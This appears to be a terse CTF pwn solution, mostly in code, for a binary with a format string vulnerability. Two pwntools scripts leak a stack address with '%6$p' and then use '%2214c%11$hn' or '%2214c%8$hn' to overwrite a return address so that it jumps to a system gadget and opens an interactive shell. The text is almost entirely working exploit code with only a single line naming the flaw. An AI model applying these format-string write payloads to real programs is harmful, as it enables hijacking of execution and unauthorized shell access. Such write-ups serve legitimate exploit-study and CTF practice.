漏洞:
格式化字符串%p泄露%n任意地址写
exp1
p.recvuntil("username")
p.sendline("xx")
p.recvuntil("Input your password")
# 泄露偏移6处的内容
p.sendline("%6$p")
p.recvuntil(">")
p.sendline("1")
p.recvuntil("xx\n")
x = p.recvuntil("\n")
address = int(x,16)
p.recvuntil(">")
p.sendline("2")
p.recvuntil("username(max lenth:20): \n")
# 修改偏移11处的两个字节为2214
p.sendline("%2214c%11$hn")
p.recvuntil("password(max lenth:20): \n")
p.sendline("aaaa"+p64(address-0x38)+"\x00")
p.interactive()
exp2
system = 0x4008a6
io.recvuntil(' \n')
io.sendline('%6$p')
io.recvuntil('rd \n')
io.sendline('a')
io.sendline('1')
io.recvuntil(':(\n>')
io.recvuntil('ao!\n')
io.recv(2)
stack = int(io.recv(14), 16) - 0x38
io.sendline('2')
io.recvuntil('(max lenth:20): \n')
io.sendline(p64(stack))
io.recvuntil('rd(max lenth:20): \n')
io.sendline('%2214c%8$hn')
io.sendline('1')
io.interactive()